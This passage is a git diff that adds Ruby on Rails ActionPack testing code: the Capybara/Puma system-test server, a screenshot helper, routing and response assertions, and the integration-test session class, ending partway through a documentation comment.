index 0000000000..76bada8df1
--- /dev/null
+++ b/actionpack/lib/action_dispatch/system_testing/server.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require "rack/handler/puma"
+
+module ActionDispatch
+  module SystemTesting
+    class Server # :nodoc:
+      class << self
+        attr_accessor :silence_puma
+      end
+
+      self.silence_puma = false
+
+      def run
+        register
+        setup
+      end
+
+      private
+        def register
+          Capybara.register_server :rails_puma do |app, port, host|
+            Rack::Handler::Puma.run(
+              app,
+              Port: port,
+              Threads: "0:1",
+              Silent: self.class.silence_puma
+            )
+          end
+        end
+
+        def setup
+          set_server
+          set_port
+        end
+
+        def set_server
+          Capybara.server = :rails_puma
+        end
+
+        def set_port
+          Capybara.always_include_port = true
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/system_testing/test_helpers/screenshot_helper.rb b/actionpack/lib/action_dispatch/system_testing/test_helpers/screenshot_helper.rb
new file mode 100644
index 0000000000..4eef15b6c2
--- /dev/null
+++ b/actionpack/lib/action_dispatch/system_testing/test_helpers/screenshot_helper.rb
@@ -0,0 +1,96 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module SystemTesting
+    module TestHelpers
+      # Screenshot helper for system testing.
+      module ScreenshotHelper
+        # Takes a screenshot of the current page in the browser.
+        #
+        # +take_screenshot+ can be used at any point in your system tests to take
+        # a screenshot of the current state. This can be useful for debugging or
+        # automating visual testing.
+        #
+        # The screenshot will be displayed in your console, if supported.
+        #
+        # You can set the +RAILS_SYSTEM_TESTING_SCREENSHOT+ environment variable to
+        # control the output. Possible values are:
+        # * [+inline+ (default)]    display the screenshot in the terminal using the
+        #                           iTerm image protocol (http://iterm2.com/documentation-images.html).
+        # * [+simple+]              only display the screenshot path.
+        #                           This is the default value if the +CI+ environment variables
+        #                           is defined.
+        # * [+artifact+]            display the screenshot in the terminal, using the terminal
+        #                           artifact format (http://buildkite.github.io/terminal/inline-images/).
+        def take_screenshot
+          save_image
+          puts display_image
+        end
+
+        # Takes a screenshot of the current page in the browser if the test
+        # failed.
+        #
+        # +take_failed_screenshot+ is included in <tt>application_system_test_case.rb</tt>
+        # that is generated with the application. To take screenshots when a test
+        # fails add +take_failed_screenshot+ to the teardown block before clearing
+        # sessions.
+        def take_failed_screenshot
+          take_screenshot if failed? && supports_screenshot?
+        end
+
+        private
+          def image_name
+            failed? ? "failures_#{method_name}" : method_name
+          end
+
+          def image_path
+            "tmp/screenshots/#{image_name}.png"
+          end
+
+          def save_image
+            page.save_screenshot(Rails.root.join(image_path))
+          end
+
+          def output_type
+            # Environment variables have priority
+            output_type = ENV["RAILS_SYSTEM_TESTING_SCREENSHOT"] || ENV["CAPYBARA_INLINE_SCREENSHOT"]
+
+            # If running in a CI environment, default to simple
+            output_type ||= "simple" if ENV["CI"]
+
+            # Default
+            output_type ||= "inline"
+
+            output_type
+          end
+
+          def display_image
+            message = "[Screenshot]: #{image_path}\n"
+
+            case output_type
+            when "artifact"
+              message << "\e]1338;url=artifact://#{image_path}\a\n"
+            when "inline"
+              name = inline_base64(File.basename(image_path))
+              image = inline_base64(File.read(image_path))
+              message << "\e]1337;File=name=#{name};height=400px;inline=1:#{image}\a\n"
+            end
+
+            message
+          end
+
+          def inline_base64(path)
+            Base64.encode64(path).gsub("\n", "")
+          end
+
+          def failed?
+            !passed? && !skipped?
+          end
+
+          def supports_screenshot?
+            Capybara.current_driver != :rack_test
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/system_testing/test_helpers/setup_and_teardown.rb b/actionpack/lib/action_dispatch/system_testing/test_helpers/setup_and_teardown.rb
new file mode 100644
index 0000000000..ffa85f4e14
--- /dev/null
+++ b/actionpack/lib/action_dispatch/system_testing/test_helpers/setup_and_teardown.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module SystemTesting
+    module TestHelpers
+      module SetupAndTeardown # :nodoc:
+        DEFAULT_HOST = "http://127.0.0.1"
+
+        def host!(host)
+          super
+          Capybara.app_host = host
+        end
+
+        def before_setup
+          host! DEFAULT_HOST
+          super
+        end
+
+        def after_teardown
+          take_failed_screenshot
+          Capybara.reset_sessions!
+          super
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/system_testing/test_helpers/undef_methods.rb b/actionpack/lib/action_dispatch/system_testing/test_helpers/undef_methods.rb
new file mode 100644
index 0000000000..ef680cafed
--- /dev/null
+++ b/actionpack/lib/action_dispatch/system_testing/test_helpers/undef_methods.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module SystemTesting
+    module TestHelpers
+      module UndefMethods # :nodoc:
+        extend ActiveSupport::Concern
+        included do
+          METHODS = %i(get post put patch delete).freeze
+
+          METHODS.each do |verb|
+            undef_method verb
+          end
+
+          def method_missing(method, *args, &block)
+            if METHODS.include?(method)
+              raise NoMethodError
+            else
+              super
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/testing/assertion_response.rb b/actionpack/lib/action_dispatch/testing/assertion_response.rb
new file mode 100644
index 0000000000..dc019db6ac
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/assertion_response.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  # This is a class that abstracts away an asserted response. It purposely
+  # does not inherit from Response because it doesn't need it. That means it
+  # does not have headers or a body.
+  class AssertionResponse
+    attr_reader :code, :name
+
+    GENERIC_RESPONSE_CODES = { # :nodoc:
+      success: "2XX",
+      missing: "404",
+      redirect: "3XX",
+      error: "5XX"
+    }
+
+    # Accepts a specific response status code as an Integer (404) or String
+    # ('404') or a response status range as a Symbol pseudo-code (:success,
+    # indicating any 200-299 status code).
+    def initialize(code_or_name)
+      if code_or_name.is_a?(Symbol)
+        @name = code_or_name
+        @code = code_from_name(code_or_name)
+      else
+        @name = name_from_code(code_or_name)
+        @code = code_or_name
+      end
+
+      raise ArgumentError, "Invalid response name: #{name}" if @code.nil?
+      raise ArgumentError, "Invalid response code: #{code}" if @name.nil?
+    end
+
+    def code_and_name
+      "#{code}: #{name}"
+    end
+
+    private
+
+      def code_from_name(name)
+        GENERIC_RESPONSE_CODES[name] || Rack::Utils::SYMBOL_TO_STATUS_CODE[name]
+      end
+
+      def name_from_code(code)
+        GENERIC_RESPONSE_CODES.invert[code] || Rack::Utils::HTTP_STATUS_CODES[code]
+      end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/testing/assertions.rb b/actionpack/lib/action_dispatch/testing/assertions.rb
new file mode 100644
index 0000000000..08c2969685
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/assertions.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require "rails-dom-testing"
+
+module ActionDispatch
+  module Assertions
+    autoload :ResponseAssertions, "action_dispatch/testing/assertions/response"
+    autoload :RoutingAssertions, "action_dispatch/testing/assertions/routing"
+
+    extend ActiveSupport::Concern
+
+    include ResponseAssertions
+    include RoutingAssertions
+    include Rails::Dom::Testing::Assertions
+
+    def html_document
+      @html_document ||= if @response.content_type.to_s.end_with?("xml")
+        Nokogiri::XML::Document.parse(@response.body)
+      else
+        Nokogiri::HTML::Document.parse(@response.body)
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/response.rb b/actionpack/lib/action_dispatch/testing/assertions/response.rb
new file mode 100644
index 0000000000..98b1965d22
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/assertions/response.rb
@@ -0,0 +1,107 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module Assertions
+    # A small suite of assertions that test responses from \Rails applications.
+    module ResponseAssertions
+      RESPONSE_PREDICATES = { # :nodoc:
+        success:  :successful?,
+        missing:  :not_found?,
+        redirect: :redirection?,
+        error:    :server_error?,
+      }
+
+      # Asserts that the response is one of the following types:
+      #
+      # * <tt>:success</tt>   - Status code was in the 200-299 range
+      # * <tt>:redirect</tt>  - Status code was in the 300-399 range
+      # * <tt>:missing</tt>   - Status code was 404
+      # * <tt>:error</tt>     - Status code was in the 500-599 range
+      #
+      # You can also pass an explicit status number like <tt>assert_response(501)</tt>
+      # or its symbolic equivalent <tt>assert_response(:not_implemented)</tt>.
+      # See Rack::Utils::SYMBOL_TO_STATUS_CODE for a full list.
+      #
+      #   # Asserts that the response was a redirection
+      #   assert_response :redirect
+      #
+      #   # Asserts that the response code was status code 401 (unauthorized)
+      #   assert_response 401
+      def assert_response(type, message = nil)
+        message ||= generate_response_message(type)
+
+        if RESPONSE_PREDICATES.keys.include?(type)
+          assert @response.send(RESPONSE_PREDICATES[type]), message
+        else
+          assert_equal AssertionResponse.new(type).code, @response.response_code, message
+        end
+      end
+
+      # Asserts that the redirection options passed in match those of the redirect called in the latest action.
+      # This match can be partial, such that <tt>assert_redirected_to(controller: "weblog")</tt> will also
+      # match the redirection of <tt>redirect_to(controller: "weblog", action: "show")</tt> and so on.
+      #
+      #   # Asserts that the redirection was to the "index" action on the WeblogController
+      #   assert_redirected_to controller: "weblog", action: "index"
+      #
+      #   # Asserts that the redirection was to the named route login_url
+      #   assert_redirected_to login_url
+      #
+      #   # Asserts that the redirection was to the URL for @customer
+      #   assert_redirected_to @customer
+      #
+      #   # Asserts that the redirection matches the regular expression
+      #   assert_redirected_to %r(\Ahttp://example.org)
+      def assert_redirected_to(options = {}, message = nil)
+        assert_response(:redirect, message)
+        return true if options === @response.location
+
+        redirect_is       = normalize_argument_to_redirection(@response.location)
+        redirect_expected = normalize_argument_to_redirection(options)
+
+        message ||= "Expected response to be a redirect to <#{redirect_expected}> but was a redirect to <#{redirect_is}>"
+        assert_operator redirect_expected, :===, redirect_is, message
+      end
+
+      private
+        # Proxy to to_param if the object will respond to it.
+        def parameterize(value)
+          value.respond_to?(:to_param) ? value.to_param : value
+        end
+
+        def normalize_argument_to_redirection(fragment)
+          if Regexp === fragment
+            fragment
+          else
+            handle = @controller || ActionController::Redirecting
+            handle._compute_redirect_to_location(@request, fragment)
+          end
+        end
+
+        def generate_response_message(expected, actual = @response.response_code)
+          "Expected response to be a <#{code_with_name(expected)}>,"\
+          " but was a <#{code_with_name(actual)}>"
+            .dup.concat(location_if_redirected).concat(response_body_if_short)
+        end
+
+        def response_body_if_short
+          return "" if @response.body.size > 500
+          "\nResponse body: #{@response.body}"
+        end
+
+        def location_if_redirected
+          return "" unless @response.redirection? && @response.location.present?
+          location = normalize_argument_to_redirection(@response.location)
+          " redirect to <#{location}>"
+        end
+
+        def code_with_name(code_or_name)
+          if RESPONSE_PREDICATES.values.include?("#{code_or_name}?".to_sym)
+            code_or_name = RESPONSE_PREDICATES.invert["#{code_or_name}?".to_sym]
+          end
+
+          AssertionResponse.new(code_or_name).code_and_name
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/routing.rb b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
new file mode 100644
index 0000000000..5390581139
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
@@ -0,0 +1,222 @@
+# frozen_string_literal: true
+
+require "uri"
+require "active_support/core_ext/hash/indifferent_access"
+require "active_support/core_ext/string/access"
+require "action_controller/metal/exceptions"
+
+module ActionDispatch
+  module Assertions
+    # Suite of assertions to test routes generated by \Rails and the handling of requests made to them.
+    module RoutingAssertions
+      # Asserts that the routing of the given +path+ was handled correctly and that the parsed options (given in the +expected_options+ hash)
+      # match +path+. Basically, it asserts that \Rails recognizes the route given by +expected_options+.
+      #
+      # Pass a hash in the second argument (+path+) to specify the request method. This is useful for routes
+      # requiring a specific HTTP method. The hash should contain a :path with the incoming request path
+      # and a :method containing the required HTTP verb.
+      #
+      #   # Asserts that POSTing to /items will call the create action on ItemsController
+      #   assert_recognizes({controller: 'items', action: 'create'}, {path: 'items', method: :post})
+      #
+      # You can also pass in +extras+ with a hash containing URL parameters that would normally be in the query string. This can be used
+      # to assert that values in the query string will end up in the params hash correctly. To test query strings you must use the extras
+      # argument because appending the query string on the path directly will not work. For example:
+      #
+      #   # Asserts that a path of '/items/list/1?view=print' returns the correct options
+      #   assert_recognizes({controller: 'items', action: 'list', id: '1', view: 'print'}, 'items/list/1', { view: "print" })
+      #
+      # The +message+ parameter allows you to pass in an error message that is displayed upon failure.
+      #
+      #   # Check the default route (i.e., the index action)
+      #   assert_recognizes({controller: 'items', action: 'index'}, 'items')
+      #
+      #   # Test a specific action
+      #   assert_recognizes({controller: 'items', action: 'list'}, 'items/list')
+      #
+      #   # Test an action with a parameter
+      #   assert_recognizes({controller: 'items', action: 'destroy', id: '1'}, 'items/destroy/1')
+      #
+      #   # Test a custom route
+      #   assert_recognizes({controller: 'items', action: 'show', id: '1'}, 'view/item1')
+      def assert_recognizes(expected_options, path, extras = {}, msg = nil)
+        if path.is_a?(Hash) && path[:method].to_s == "all"
+          [:get, :post, :put, :delete].each do |method|
+            assert_recognizes(expected_options, path.merge(method: method), extras, msg)
+          end
+        else
+          request = recognized_request_for(path, extras, msg)
+
+          expected_options = expected_options.clone
+
+          expected_options.stringify_keys!
+
+          msg = message(msg, "") {
+            sprintf("The recognized options <%s> did not match <%s>, difference:",
+                    request.path_parameters, expected_options)
+          }
+
+          assert_equal(expected_options, request.path_parameters, msg)
+        end
+      end
+
+      # Asserts that the provided options can be used to generate the provided path. This is the inverse of +assert_recognizes+.
+      # The +extras+ parameter is used to tell the request the names and values of additional request parameters that would be in
+      # a query string. The +message+ parameter allows you to specify a custom error message for assertion failures.
+      #
+      # The +defaults+ parameter is unused.
+      #
+      #   # Asserts that the default action is generated for a route with no action
+      #   assert_generates "/items", controller: "items", action: "index"
+      #
+      #   # Tests that the list action is properly routed
+      #   assert_generates "/items/list", controller: "items", action: "list"
+      #
+      #   # Tests the generation of a route with a parameter
+      #   assert_generates "/items/list/1", { controller: "items", action: "list", id: "1" }
+      #
+      #   # Asserts that the generated route gives us our custom route
+      #   assert_generates "changesets/12", { controller: 'scm', action: 'show_diff', revision: "12" }
+      def assert_generates(expected_path, options, defaults = {}, extras = {}, message = nil)
+        if expected_path =~ %r{://}
+          fail_on(URI::InvalidURIError, message) do
+            uri = URI.parse(expected_path)
+            expected_path = uri.path.to_s.empty? ? "/" : uri.path
+          end
+        else
+          expected_path = "/#{expected_path}" unless expected_path.first == "/"
+        end
+        # Load routes.rb if it hasn't been loaded.
+
+        options = options.clone
+        generated_path, query_string_keys = @routes.generate_extras(options, defaults)
+        found_extras = options.reject { |k, _| ! query_string_keys.include? k }
+
+        msg = message || sprintf("found extras <%s>, not <%s>", found_extras, extras)
+        assert_equal(extras, found_extras, msg)
+
+        msg = message || sprintf("The generated path <%s> did not match <%s>", generated_path,
+            expected_path)
+        assert_equal(expected_path, generated_path, msg)
+      end
+
+      # Asserts that path and options match both ways; in other words, it verifies that <tt>path</tt> generates
+      # <tt>options</tt> and then that <tt>options</tt> generates <tt>path</tt>. This essentially combines +assert_recognizes+
+      # and +assert_generates+ into one step.
+      #
+      # The +extras+ hash allows you to specify options that would normally be provided as a query string to the action. The
+      # +message+ parameter allows you to specify a custom error message to display upon failure.
+      #
+      #  # Asserts a basic route: a controller with the default action (index)
+      #  assert_routing '/home', controller: 'home', action: 'index'
+      #
+      #  # Test a route generated with a specific controller, action, and parameter (id)
+      #  assert_routing '/entries/show/23', controller: 'entries', action: 'show', id: 23
+      #
+      #  # Asserts a basic route (controller + default action), with an error message if it fails
+      #  assert_routing '/store', { controller: 'store', action: 'index' }, {}, {}, 'Route for store index not generated properly'
+      #
+      #  # Tests a route, providing a defaults hash
+      #  assert_routing 'controller/action/9', {id: "9", item: "square"}, {controller: "controller", action: "action"}, {}, {item: "square"}
+      #
+      #  # Tests a route with an HTTP method
+      #  assert_routing({ method: 'put', path: '/product/321' }, { controller: "product", action: "update", id: "321" })
+      def assert_routing(path, options, defaults = {}, extras = {}, message = nil)
+        assert_recognizes(options, path, extras, message)
+
+        controller, default_controller = options[:controller], defaults[:controller]
+        if controller && controller.include?(?/) && default_controller && default_controller.include?(?/)
+          options[:controller] = "/#{controller}"
+        end
+
+        generate_options = options.dup.delete_if { |k, _| defaults.key?(k) }
+        assert_generates(path.is_a?(Hash) ? path[:path] : path, generate_options, defaults, extras, message)
+      end
+
+      # A helper to make it easier to test different route configurations.
+      # This method temporarily replaces @routes with a new RouteSet instance.
+      #
+      # The new instance is yielded to the passed block. Typically the block
+      # will create some routes using <tt>set.draw { match ... }</tt>:
+      #
+      #   with_routing do |set|
+      #     set.draw do
+      #       resources :users
+      #     end
+      #     assert_equal "/users", users_path
+      #   end
+      #
+      def with_routing
+        old_routes, @routes = @routes, ActionDispatch::Routing::RouteSet.new
+        if defined?(@controller) && @controller
+          old_controller, @controller = @controller, @controller.clone
+          _routes = @routes
+
+          @controller.singleton_class.include(_routes.url_helpers)
+
+          if @controller.respond_to? :view_context_class
+            @controller.view_context_class = Class.new(@controller.view_context_class) do
+              include _routes.url_helpers
+            end
+          end
+        end
+        yield @routes
+      ensure
+        @routes = old_routes
+        if defined?(@controller) && @controller
+          @controller = old_controller
+        end
+      end
+
+      # ROUTES TODO: These assertions should really work in an integration context
+      def method_missing(selector, *args, &block)
+        if defined?(@controller) && @controller && defined?(@routes) && @routes && @routes.named_routes.route_defined?(selector)
+          @controller.send(selector, *args, &block)
+        else
+          super
+        end
+      end
+
+      private
+        # Recognizes the route for a given path.
+        def recognized_request_for(path, extras = {}, msg)
+          if path.is_a?(Hash)
+            method = path[:method]
+            path   = path[:path]
+          else
+            method = :get
+          end
+
+          request = ActionController::TestRequest.create @controller.class
+
+          if path =~ %r{://}
+            fail_on(URI::InvalidURIError, msg) do
+              uri = URI.parse(path)
+              request.env["rack.url_scheme"] = uri.scheme || "http"
+              request.host = uri.host if uri.host
+              request.port = uri.port if uri.port
+              request.path = uri.path.to_s.empty? ? "/" : uri.path
+            end
+          else
+            path = "/#{path}" unless path.first == "/"
+            request.path = path
+          end
+
+          request.request_method = method if method
+
+          params = fail_on(ActionController::RoutingError, msg) do
+            @routes.recognize_path(path, method: method, extras: extras)
+          end
+          request.path_parameters = params.with_indifferent_access
+
+          request
+        end
+
+        def fail_on(exception_class, message)
+          yield
+        rescue exception_class => e
+          raise Minitest::Assertion, message || e.message
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/testing/integration.rb b/actionpack/lib/action_dispatch/testing/integration.rb
new file mode 100644
index 0000000000..ae1f368e8b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/integration.rb
@@ -0,0 +1,652 @@
+# frozen_string_literal: true
+
+require "stringio"
+require "uri"
+require "active_support/core_ext/kernel/singleton_class"
+require "active_support/core_ext/object/try"
+require "rack/test"
+require "minitest"
+
+require_relative "request_encoder"
+
+module ActionDispatch
+  module Integration #:nodoc:
+    module RequestHelpers
+      # Performs a GET request with the given parameters. See +#process+ for more
+      # details.
+      def get(path, **args)
+        process(:get, path, **args)
+      end
+
+      # Performs a POST request with the given parameters. See +#process+ for more
+      # details.
+      def post(path, **args)
+        process(:post, path, **args)
+      end
+
+      # Performs a PATCH request with the given parameters. See +#process+ for more
+      # details.
+      def patch(path, **args)
+        process(:patch, path, **args)
+      end
+
+      # Performs a PUT request with the given parameters. See +#process+ for more
+      # details.
+      def put(path, **args)
+        process(:put, path, **args)
+      end
+
+      # Performs a DELETE request with the given parameters. See +#process+ for
+      # more details.
+      def delete(path, **args)
+        process(:delete, path, **args)
+      end
+
+      # Performs a HEAD request with the given parameters. See +#process+ for more
+      # details.
+      def head(path, *args)
+        process(:head, path, *args)
+      end
+
+      # Follow a single redirect response. If the last response was not a
+      # redirect, an exception will be raised. Otherwise, the redirect is
+      # performed on the location header.
+      def follow_redirect!
+        raise "not a redirect! #{status} #{status_message}" unless redirect?
+        get(response.location)
+        status
+      end
+    end
+
+    # An instance of this class represents a set of requests and responses
+    # performed sequentially by a test process. Because you can instantiate
+    # multiple sessions and run them side-by-side, you can also mimic (to some
+    # limited extent) multiple simultaneous users interacting with your system.
+    #
+    # Typically, you will instantiate a new session using
+    # IntegrationTest#open_session, rather than instantiating
+    # Integration::Session directly.
+    class Session
+      DEFAULT_HOST = "www.example.com"
+
+      include Minitest::Assertions
+      include TestProcess, RequestHelpers, Assertions
+
+      %w( status status_message headers body redirect? ).each do |method|
+        delegate method, to: :response, allow_nil: true
+      end
+
+      %w( path ).each do |method|
+        delegate method, to: :request, allow_nil: true
+      end
+
+      # The hostname used in the last request.
+      def host
+        @host || DEFAULT_HOST
+      end
+      attr_writer :host
+
+      # The remote_addr used in the last request.
+      attr_accessor :remote_addr
+
+      # The Accept header to send.
+      attr_accessor :accept
+
+      # A map of the cookies returned by the last response, and which will be
+      # sent with the next request.
+      def cookies
+        _mock_session.cookie_jar
+      end
+
+      # A reference to the controller instance used by the last request.
+      attr_reader :controller
+
+      # A reference to the request instance used by the last request.
+      attr_reader :request
+
+      # A reference to the response instance used by the last request.
+      attr_reader :response
+
+      # A running counter of the number of requests processed.
+      attr_accessor :request_count
+
+      include ActionDispatch::Routing::UrlFor
+
+      # Create and initialize a new Session instance.
+      def initialize(app)
+        super()
+        @app = app
+
+        reset!
+      end
+
+      def url_options
+        @url_options ||= default_url_options.dup.tap do |url_options|
+          url_options.reverse_merge!(controller.url_options) if controller
+
+          if @app.respond_to?(:routes)
+            url_options.reverse_merge!(@app.routes.default_url_options)
+          end
+
+          url_options.reverse_merge!(host: host, protocol: https? ? "https" : "http")
+        end
+      end
+
+      # Resets the instance. This can be used to reset the state information
+      # in an existing session instance, so it can be used from a clean-slate
+      # condition.
+      #
+      #   session.reset!
+      def reset!
+        @https = false
+        @controller = @request = @response = nil
+        @_mock_session = nil
+        @request_count = 0
+        @url_options = nil
+
+        self.host        = DEFAULT_HOST
+        self.remote_addr = "127.0.0.1"
+        self.accept      = "text/xml,application/xml,application/xhtml+xml," \
+                           "text/html;q=0.9,text/plain;q=0.8,image/png," \
+                           "*/*;q=0.5"
+
+        unless defined? @named_routes_configured
+          # the helpers are made protected by default--we make them public for
+          # easier access during testing and troubleshooting.
+          @named_routes_configured = true
+        end
+      end
+
+      # Specify whether or not the session should mimic a secure HTTPS request.
+      #
+      #   session.https!
+      #   session.https!(false)
+      def https!(flag = true)
+        @https = flag
+      end
+
+      # Returns +true+ if the session is mimicking a secure HTTPS request.
+      #
+      #   if session.https?
+      #     ...
+      #   end
+      def https?
+        @https
+      end
+
+      # Performs the actual request.
+      #
+      # - +method+: The HTTP method (GET, POST, PATCH, PUT, DELETE, HEAD, OPTIONS)
+      #   as a symbol.
+      # - +path+: The URI (as a String) on which you want to perform the
+      #   request.
+      # - +params+: The HTTP parameters that you want to pass. This may
+      #   be +nil+,
+      #   a Hash, or a String that is appropriately encoded
+      #   (<tt>application/x-www-form-urlencoded</tt> or
+      #   <tt>multipart/form-data</tt>).
+      # - +headers+: Additional headers to pass, as a Hash. The headers will be
+      #   merged into the Rack env hash.
+      # - +env+: Additional env to pass, as a Hash. The headers will be
+      #   merged into the Rack env hash.
+      #
+      # This method is rarely used directly. Use +#get+, +#post+, or other standard
+      # HTTP methods in integration tests. +#process+ is only required when using a
+      # request method that doesn't have a method defined in the integration tests.
+      #
+      # This method returns the response status, after performing the request.
+      # Furthermore, if this method was called from an ActionDispatch::IntegrationTest object,
+      # then that object's <tt>@response</tt> instance variable will point to a Response object
+      # which one can use to inspect the details of the response.
+      #
+      # Example:
+      #   process :get, '/author', params: { since: 201501011400 }
+      def process(method, path, params: nil, headers: nil, env: nil, xhr: false, as: nil)
+        request_encoder = RequestEncoder.encoder(as)
+        headers ||= {}
+
+        if method == :get && as == :json && params
+          headers["X-Http-Method-Override"] = "GET"
+          method = :post
+        end
+
+        if path =~ %r{://}
+          path = build_expanded_path(path) do |location|
+            https! URI::HTTPS === location if location.scheme
+
+            if url_host = location.host
+              default = Rack::Request::DEFAULT_PORTS[location.scheme]
+              url_host += ":#{location.port}" if default != location.port
+              host! url_host
+            end
+          end
+        end
+
+        hostname, port = host.split(":")
+
+        request_env = {
+          :method => method,
+          :params => request_encoder.encode_params(params),
+
+          "SERVER_NAME"     => hostname,
+          "SERVER_PORT"     => port || (https? ? "443" : "80"),
+          "HTTPS"           => https? ? "on" : "off",
+          "rack.url_scheme" => https? ? "https" : "http",
+
+          "REQUEST_URI"    => path,
+          "HTTP_HOST"      => host,
+          "REMOTE_ADDR"    => remote_addr,
+          "CONTENT_TYPE"   => request_encoder.content_type,
+          "HTTP_ACCEPT"    => request_encoder.accept_header || accept
+        }
+
+        wrapped_headers = Http::Headers.from_hash({})
+        wrapped_headers.merge!(headers) if headers
+
+        if xhr
+          wrapped_headers["HTTP_X_REQUESTED_WITH"] = "XMLHttpRequest"
+          wrapped_headers["HTTP_ACCEPT"] ||= [Mime[:js], Mime[:html], Mime[:xml], "text/xml", "*/*"].join(", ")
+        end
+
+        # This modifies the passed request_env directly.
+        if wrapped_headers.present?
+          Http::Headers.from_hash(request_env).merge!(wrapped_headers)
+        end
+        if env.present?
+          Http::Headers.from_hash(request_env).merge!(env)
+        end
+
+        session = Rack::Test::Session.new(_mock_session)
+
+        # NOTE: rack-test v0.5 doesn't build a default uri correctly
+        # Make sure requested path is always a full URI.
+        session.request(build_full_uri(path, request_env), request_env)
+
+        @request_count += 1
+        @request = ActionDispatch::Request.new(session.last_request.env)
+        response = _mock_session.last_response
+        @response = ActionDispatch::TestResponse.from_response(response)
+        @response.request = @request
+        @html_document = nil
+        @url_options = nil
+
+        @controller = @request.controller_instance
+
+        response.status
+      end
+
+      # Set the host name to use in the next request.
+      #
+      #   session.host! "www.example.com"
+      alias :host! :host=
+
+      private
+        def _mock_session
+          @_mock_session ||= Rack::MockSession.new(@app, host)
+        end
+
+        def build_full_uri(path, env)
+          "#{env['rack.url_scheme']}://#{env['SERVER_NAME']}:#{env['SERVER_PORT']}#{path}"
+        end
+
+        def build_expanded_path(path)
+          location = URI.parse(path)
+          yield location if block_given?
+          path = location.path
+          location.query ? "#{path}?#{location.query}" : path
+        end
+    end
+
+    module Runner
+      include ActionDispatch::Assertions
+
+      APP_SESSIONS = {}
+
+      attr_reader :app
+
+      def initialize(*args, &blk)
+        super(*args, &blk)
+        @integration_session = nil
+      end
+
+      def before_setup # :nodoc:
+        @app = nil
+        super
+      end
+
+      def integration_session
+        @integration_session ||= create_session(app)
+      end
+
+      # Reset the current session. This is useful for testing multiple sessions
+      # in a single test case.
+      def reset!
+        @integration_session = create_session(app)
+      end
+
+      def create_session(app)
+        klass = APP_SESSIONS[app] ||= Class.new(Integration::Session) {
+          # If the app is a Rails app, make url_helpers available on the session.
+          # This makes app.url_for and app.foo_path available in the console.
+          if app.respond_to?(:routes)
+            include app.routes.url_helpers
+            include app.routes.mounted_helpers
+          end
+        }
+        klass.new(app)
+      end
+
+      def remove! # :nodoc:
+        @integration_session = nil
+      end
+
+      %w(get post patch put head delete cookies assigns follow_redirect!).each do |method|
+        define_method(method) do |*args|
+          # reset the html_document variable, except for cookies/assigns calls
+          unless method == "cookies" || method == "assigns"
+            @html_document = nil
+          end
+
+          integration_session.__send__(method, *args).tap do
+            copy_session_variables!
+          end
+        end
+      end
+
+      # Open a new session instance. If a block is given, the new session is
+      # yielded to the block before being returned.
+      #
+      #   session = open_session do |sess|
+      #     sess.extend(CustomAssertions)
+      #   end
+      #
+      # By default, a single session is automatically created for you, but you
+      # can use this method to open multiple sessions that ought to be tested
+      # simultaneously.
+      def open_session
+        dup.tap do |session|
+          session.reset!
+          yield session if block_given?
+        end
+      end
+
+      # Copy the instance variables from the current session instance into the
+      # test instance.
+      def copy_session_variables! #:nodoc:
+        @controller = @integration_session.controller
+        @response   = @integration_session.response
+        @request    = @integration_session.request
+      end
+
+      def default_url_options
+        integration_session.default_url_options
+      end
+
+      def default_url_options=(options)
+        integration_session.default_url_options = options
+      end
+
+    private
+      def respond_to_missing?(method, _)
+        integration_session.respond_to?(method) || super
+      end
+
+      # Delegate unhandled messages to the current session instance.
+      def method_missing(method, *args, &block)
+        if integration_session.respond_to?(method)
+          integration_session.public_send(method, *args, &block).tap do
+            copy_session_variables!
+          end
+        else
+          super
+        end
+      end
+    end
+  end
+
+  # An integration test spans multiple controllers and actions,
+  # tying them all together to ensure they work together as expected. It tests
+  # more completely than either unit or functional tests do, exercising the
+  # entire stack, from the dispatcher to the database.
+  #
+  # At its simplest, you simply extend <tt>IntegrationTest</tt> and write your tests
+  # using the get/post methods:
+  #
+  #   require "test_helper"
+  #
+  #   class ExampleTest < ActionDispatch::IntegrationTest
+  #     fixtures :people
+  #
+  #     def test_login
+  #       # get the login page
+  #       get "/login"
+  #       assert_equal 200, status
+  #
+  #       # post the login and follow through to the home page
+  #       post "/login", params: { username: people(:jamis).username,
+  #         password: people(:jamis).password }
+  #       follow_redirect!
+  #       assert_equal 200, status
+  #       assert_equal "/home", path
+  #     end
+  #   end
+  #
+  # However, you can also have multiple session instances open per test, and
+  # even extend those instances with assertions and methods to create a very
+  # powerful testing DSL that is specific for your application. You can even
+  # reference any named routes you happen to have defined.
+  #
+  #   require "test_helper"
+  #
+  #   class AdvancedTest < ActionDispatch::IntegrationTest
+  #     fixtures :people, :rooms
+  #
+  #     def test_login_and_speak
+  #       jamis, david = login(:jamis), login(:david)
+  #       room = rooms(:office)
+  #
+  #       jamis.enter(room)
+  #       jamis.speak(room, "anybody home?")
+  #
+  #       david.enter(room)
+  #       david.speak(room, "hello!")
+  #     end
+  #
+  #     private
+  #
+  #       module CustomAssertions
+  #         def enter(room)
+  #           # reference a named route, for maximum internal consistency!
+  #           get(room_url(id: room.id))
+  #           assert(...)
+  #           ...
+  #         end
+  #
+  #         def speak(room, message)
